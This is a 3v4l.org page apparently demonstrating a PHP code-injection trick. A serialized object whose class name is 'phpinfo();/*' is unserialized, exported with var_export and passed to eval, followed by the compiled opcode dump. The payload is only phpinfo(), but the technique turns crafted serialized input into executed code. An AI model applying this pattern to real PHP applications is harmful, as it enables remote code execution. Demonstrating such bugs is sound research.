3v4l.org

run code in 300+ PHP versions simultaneously
<?php $str = 'O:12:"phpinfo();/*":0:{}'; $obj = unserialize($str); var_dump($obj); var_export($obj); eval('$str = ' . var_export($obj, true) . ';');
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/GKRPL
function name:  (null)
number of ops:  19
compiled vars:  !0 = $str, !1 = $obj
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   ASSIGN                                                   !0, 'O%3A12%3A%22phpinfo%28%29%3B%2F%2A%22%3A0%3A%7B%7D'
    3     1        INIT_FCALL                                               'unserialize'
          2        SEND_VAR                                                 !0
          3        DO_ICALL                                         $3      
          4        ASSIGN                                                   !1, $3
    4     5        INIT_FCALL                                               'var_dump'
          6        SEND_VAR                                                 !1
          7        DO_ICALL                                                 
    5     8        INIT_FCALL                                               'var_export'
          9        SEND_VAR                                                 !1
         10        DO_ICALL                                                 
    7    11        INIT_FCALL                                               'var_export'
         12        SEND_VAR                                                 !1
         13        SEND_VAL                                                 <true>
         14        DO_ICALL                                         $7      
         15        CONCAT                                           ~8      '%24str+%3D+', $7
         16        CONCAT                                           ~9      ~8, '%3B'
         17        INCLUDE_OR_EVAL                                          ~9, EVAL
         18      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
154.55 ms | 1394 KiB | 19 Q